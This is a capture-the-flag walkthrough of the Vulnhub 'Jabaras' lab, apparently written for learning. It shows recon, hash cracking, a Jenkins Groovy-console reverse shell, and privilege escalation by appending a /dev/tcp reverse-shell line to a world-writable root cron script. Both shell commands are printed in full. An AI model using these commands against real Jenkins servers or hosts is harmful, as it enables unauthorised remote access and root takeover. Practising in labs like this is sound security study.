Jabaras Walkthrough
Lately I have been diving deep into learning the various security issues that comes from utilizing various development tools; this week the focus was on CI/CD pipeline. So what better way to learn then by breaking the most widely used CI tools out there, Jenkins! Luckily Vulnhub already had a beginner friendly CTF(Jabaras) with Jenkins already set up and ready for me to break.
As with all CTFs, the first thing I needed to do was identify my target and do reconnaissance. So I started with an arp-scan to first identify the target IP address(192.158.56.103). Then a quick nmap scan, which showed me that there is a web server(80), Jenkins(8080), MariaDB SQL Server(3306) and OpenSSH 7.1 (22).
At first glance, the web server seems like it was intended to be search engine, but after trying out the search field and links it looked like a dead-end. For the jenkins server, I needed credentials to get past the login screen. So the next step was do more reconnaissance, which lead me me to spin up dirb to see if I could find anything else useful.
Dirb uncovered a useful page had a few usernames and hashes.
To crack these hashes I switched over to crackstation.net, plugged in my hashes and out came the passwords.
After trying all the usernames and passwords only the last user(eder) was able to get me through to the jenkins console.
After successfully logging in my first thought was to get a shell. One of the fast ways to do this is was by taking advantage of Jenkin’s Groovy script console, which allows anyone to run Groovy scripts within the Jenkins master runtime or in the runtime on agents.
In case you didn’t know, Groovy is a very powerful language. It has the the ability to do anything Java can do including:
- Reading any local files that the Jenkins master has access to on the host (like /etc/passwd)
- Decrypting credentials configured within Jenkins runtime
- Creating sub-processes and executing arbitrary commands on the Jenkins master and agents.
- etc…
Because granting users the ability to run scripts is equivalent to giving those users admin rights, Jenkins cautions administrators on allowing any users that ability.
So to take advantage of this feature I first prepare for my shell by setting netcat to listen for a connection. Then I execute a command injection using the following exploit courtesy of pentest monkey to create the reverse shell.
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.56.102/7234;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
And ta-da! Now I have shell. Unfortunately the Jenkins instance is not running as root, so I will need to escalate my privileges. Also for some reason my shell is duplicating every letter?? Bear with me through this struggle.
After doing some basic enumeration of the system I noticed that there is a cronjob for a script that is running as root AND it the script was writable to all users.
So to take advantage of it I inserted a reverse shell command, courtesy of highoncoffee, and finally got a reverse shell with root privilege.
echo "0<&196;exec 196<>/dev/tcp/192.168.56.102/7272; sh <&196 >&196 2>&196" >> /etc/script/CleaningScript.sh
And with that I finally I found the flag and completed the CTF.